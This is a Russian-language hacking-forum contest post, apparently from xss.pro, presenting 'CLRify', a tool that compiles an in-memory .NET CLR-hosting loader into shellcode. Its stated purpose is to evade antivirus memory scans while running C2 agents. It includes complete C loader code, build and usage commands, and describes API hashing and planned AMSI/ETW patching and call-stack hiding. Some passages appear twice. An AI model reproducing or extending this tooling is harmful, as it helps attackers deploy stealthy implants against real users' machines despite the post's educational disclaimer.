Мне всегда нравился пончик и, в особенности, его возможности по созданию шеллкодов из сборок .NET. К сожалению, из-за высокой популярности фреймворка его встроенный бутстрап (загрузчик) стал узнаваем многими антивирусными решениями — это особенно критично при использовании долгоиграющих полезных нагрузок, которые подразумевают продолжительное нахождение в памяти, например, агенты Цэ2. В этом случае, даже если сам процесс инжекта проходит нормально, первое же сканирование памяти по планировщику алертнет о заражении.
Поэтому было решено реимплементировать вышеуказанную функциональность в отдельный инструмент, дабы продолжать извлекать выгоду из безфайлового позиционно-независимого запуска приложений на C#.
Принудительный хостинг CLR
Чтобы запустить .NET приложение из памяти, нужен рантайм (CLR) управляемого кода. Загрузить рантайм и передать ему байт-код можно из любого неуправляемого процесса с помощью нескольких методов WinAPI. На этой простой концепции основаны однотипные модули множества разных C2, обычно называемые их авторами по типу *execute*assembly*.
Два отдельных проекта, дающих хорошее понимание того, как добиться загрузки CLR — это HostingCLR (PoC) и InMemoryNET (вооруженный PoC).
Краткое описание используемых апи и интерфейсов в стиле "Explain Like I'm Five":
Позиционно-независимый код
Как уже было сказано, эта техника стара как мир, и доступна в виде многих открытых проектов. Более интересной и актуальной задачей является компиляция такого загрузчика в позиционно-независимый код или, по-простому, шеллкод.
Особенности, которые были приняты во внимание во время решения этой задачи:
Есть много шаблонов, упрощающих PIC-разработку, но для небольших проектов вроде этого достаточно подхода ParanoidNinja, при котором исходный код пишется на C, компилируется без stdlib и линкуется с выравниванием стека для graceful-возвращения из шеллкода: https://bruteratel.com/research/feature-update/2021/01/30/OBJEXEC/.
CLRify. XSS Edition
Зависимости:
Протестировано на Ubuntu 22.04.3 LTS с компилятором
Проект представляет из себя шаблон на C, аккомпанируемый скриптом на Петухоне, который реплейсит затычки и рисует красивый скрипткидди-стайл баннер.
Структура
Пример № 1. Создание шеллкода из тестовой сборки с аргументами:
Пример 1
Пример № 2. Создание шеллкода из тестовой сборки без аргументов:
Пример 2
Сам инжектор в проект не включен по очевидным причинам: каждый специалист пользуется тем, что ему удобно + от способа инъекции поведение не зависит.
Ссылочки

Поэтому было решено реимплементировать вышеуказанную функциональность в отдельный инструмент, дабы продолжать извлекать выгоду из безфайлового позиционно-независимого запуска приложений на C#.
Примечание: шаблон для генератора заимствует много кода из open source проектов с GitHub, однако считаю, что условиям конкурса он не противоречит, т. к. на выходе имеем a) авторский продукт, b) в итоговом виде ранее не встречавшийся в паблике, c) целевое предназначение которого, на мой взгляд, очень актуально на данный момент для тех, кто в теме.
Дисклеймер: все материалы из этой статьи — только для учебных целей; автор не несет ответственности за любое их неправомерное использование.
Принудительный хостинг CLR
Чтобы запустить .NET приложение из памяти, нужен рантайм (CLR) управляемого кода. Загрузить рантайм и передать ему байт-код можно из любого неуправляемого процесса с помощью нескольких методов WinAPI. На этой простой концепции основаны однотипные модули множества разных C2, обычно называемые их авторами по типу *execute*assembly*.
Два отдельных проекта, дающих хорошее понимание того, как добиться загрузки CLR — это HostingCLR (PoC) и InMemoryNET (вооруженный PoC).
Краткое описание используемых апи и интерфейсов в стиле "Explain Like I'm Five":
mscoree.dll!CLRCreateInstance— отдает интерфейсICLRMetaHost.ICLRMetaHost::GetRuntime— отдает интерфейсICLRRuntimeInfo.ICLRRuntimeInfo::IsLoadable— проверяет, может ли рантайм требуемой версии (обычно этоv4.0.30319) быть загружен в текущий процесс.ICLRRuntimeInfo::GetInterface— отдает интерфейсICLRRuntimeHost.ICLRRuntimeHost::Start— собственно, загружает рантайм в текущий процесс.ICLRRuntimeHost::GetDefaultDomain— отдает базовый COM-интерфейсIUnknownдля запроса домена приложения.IUnknown::QueryInterface— отдает домен приложения по умолчанию.oleaut32.dll!SafeArrayCreate— размещает байт-код сборки .NET в специальной структуре, которую требует методLoad_3домена приложения, для загрузки сборки.AppDomain.Load,Assembly.EntryPoint— загружает сборку в память и отдает адрес точки входа в виде указателяMethodInfo.oleaut32.dll!SafeArrayCreateVector,oleaut32.dll!pSafeArrayPutElement— танцы с бубном вокруг передачи требуемых сборкой аргументов на точку входа.MethodInfo.Invoke— запуск сборки.
C:
ICLRMetaHost* pMetaHost = NULL;
ICLRRuntimeInfo* pRuntimeInfo = NULL;
ICorRuntimeHost* pRuntimeHost = NULL;
IUnknown* pAppDomainThunk = NULL;
AppDomain* pDefaultAppDomain = NULL;
SAFEARRAY* pSafeArray = NULL;
Assembly* pAssembly = NULL;
MethodInfo* pMethodInfo = NULL;
int bLoadable = 0;
void* pvData = NULL;
HRESULT result = pCLRCreateInstance(&xCLSID_CLRMetaHost, &xIID_ICLRMetaHost, (LPVOID*)&pMetaHost);
if (FAILED(result)) goto cleanup;
WCHAR CLR_Version[] = { L'v',L'4',L'.',L'0',L'.',L'3',L'0',L'3',L'1',L'9', 0 };
result = pMetaHost->lpVtbl->GetRuntime(pMetaHost, CLR_Version, &xIID_ICLRRuntimeInfo, (LPVOID*)&pRuntimeInfo);
if (FAILED(result)) goto cleanup;
result = pRuntimeInfo->lpVtbl->IsLoadable(pRuntimeInfo, &bLoadable);
if (FAILED(result) || !bLoadable) goto cleanup;
result = pRuntimeInfo->lpVtbl->GetInterface(pRuntimeInfo, &xCLSID_CorRuntimeHost, &xIID_ICorRuntimeHost, (LPVOID*)&pRuntimeHost);
if (FAILED(result)) goto cleanup;
result = pRuntimeHost->lpVtbl->Start(pRuntimeHost);
if (FAILED(result)) goto cleanup;
result = pRuntimeHost->lpVtbl->GetDefaultDomain(pRuntimeHost, &pAppDomainThunk);
if (FAILED(result)) goto cleanup;
result = pAppDomainThunk->lpVtbl->QueryInterface(pAppDomainThunk, &xIID_AppDomain, (LPVOID*)&pDefaultAppDomain);
if (FAILED(result)) goto cleanup;
SAFEARRAYBOUND rgsabound[1];
rgsabound[0].cElements = 31337;
rgsabound[0].lLbound = 0;
pSafeArray = pSafeArrayCreate(VT_UI1, 1, rgsabound);
result = pSafeArrayAccessData(pSafeArray, &pvData);
if (FAILED(result)) goto cleanup;
my_memcpy(pvData, ASSEMBLY, 31337);
result = pSafeArrayUnaccessData(pSafeArray);
if (FAILED(result)) goto cleanup;
result = pDefaultAppDomain->lpVtbl->Load_3(pDefaultAppDomain, pSafeArray, &pAssembly);
if (FAILED(result)) goto cleanup;
result = pAssembly->lpVtbl->EntryPoint(pAssembly, &pMethodInfo);
if (FAILED(result)) goto cleanup;
VARIANT retVal; ZeroMemory(&retVal, sizeof(VARIANT));
VARIANT obj; ZeroMemory(&obj, sizeof(VARIANT));
obj.vt = VT_NULL;
VARIANT vtPsa;
vtPsa.vt = (VT_ARRAY | VT_BSTR);
SAFEARRAY* psaStaticMethodArgs = pSafeArrayCreateVector(VT_VARIANT, 0, 1);
WCHAR argv[3][5] = { {L'a',L'r',L'g',L'1', 0}, {L'a',L'r',L'g',L'2', 0}, {L'a',L'r',L'g',L'3', 0} };
vtPsa.parray = pSafeArrayCreateVector(VT_BSTR, 0, 3);
for (long i = 0; i < 3; i++) pSafeArrayPutElement(vtPsa.parray, &i, pSysAllocString(argv[i]));
long idx[1] = { 0 };
pSafeArrayPutElement(psaStaticMethodArgs, idx, &vtPsa);
result = pMethodInfo->lpVtbl->Invoke_3(pMethodInfo, obj, psaStaticMethodArgs, &retVal);
if (FAILED(result)) goto cleanup;
Позиционно-независимый код
Как уже было сказано, эта техника стара как мир, и доступна в виде многих открытых проектов. Более интересной и актуальной задачей является компиляция такого загрузчика в позиционно-независимый код или, по-простому, шеллкод.
Особенности, которые были приняты во внимание во время решения этой задачи:
- Динамическое разрешение необходимых WinAPI во время рантайма (поиск адресов загруженных библиотек и их экспортов) с использованием API Hashing.
- Отказ от глобальных переменных и статических строк в коде, т. к. на выходе должна быть только секция
.text. - Возможность хранения большого массива байт-кода .NET сборки на стеке (а не в
.data) в обход оптимизаций компилятора. - Использование непрямых системных вызовов для патчинга AMSI/ETW перед прыжком на энтрипоинт .NET сборки.
- Сокрытие подозрительной телеметрии в стеке вызовов.
Примечание: два крайних пункта в этом релизе не представлены, ибо приват. Однако допилить это обычно не составляет труда.
Есть много шаблонов, упрощающих PIC-разработку, но для небольших проектов вроде этого достаточно подхода ParanoidNinja, при котором исходный код пишется на C, компилируется без stdlib и линкуется с выравниванием стека для graceful-возвращения из шеллкода: https://bruteratel.com/research/feature-update/2021/01/30/OBJEXEC/.
CLRify. XSS Edition
Зависимости:
Bash:
apt install -y nasm g++-mingw-w64-x86-64 mono-devel python3
Протестировано на Ubuntu 22.04.3 LTS с компилятором
x86_64-w64-mingw32-gcc (GCC) 10-win32 20220113 и на Kali 2022.4 с компилятором x86_64-w64-mingw32-gcc (GCC) 12-win32.Проект представляет из себя шаблон на C, аккомпанируемый скриптом на Петухоне, который реплейсит затычки и рисует красивый скрипткидди-стайл баннер.
Структура
Пример № 1. Создание шеллкода из тестовой сборки с аргументами:
Bash:
mono-csc /t:exe /out:TestAssembly.exe TestAssembly/TestAssembly.cs
./CLRify.py TestAssembly.exe arg1 arg2 arg3
nasm -f win64 TestAssembly/testShellcode.asm -o testShellcode.o
x86_64-w64-mingw32-ld testShellcode.o -o testShellcode.exe
Пример 1
Пример № 2. Создание шеллкода из тестовой сборки без аргументов:
Bash:
mono-csc /t:exe /out:TestAssembly.exe TestAssembly/TestAssemblyNoArgs.cs
NARGS=1 ./CLRify.py TestAssembly.exe
nasm -f win64 TestAssembly/testShellcode.asm -o testShellcode.o
x86_64-w64-mingw32-ld testShellcode.o -o testShellcode.exe
Пример 2
Сам инжектор в проект не включен по очевидным причинам: каждый специалист пользуется тем, что ему удобно + от способа инъекции поведение не зависит.
Ссылочки
- https://github.com/anthemtotheego/InlineExecute-Assembly — отсюда взята основная логика для шаблона.
- https://bruteratel.com/research/feature-update/2021/01/30/OBJEXEC/ — отсюда подрезана техника генерации шеллкода.
xss.pro. За сим все, задавайте ваши ответы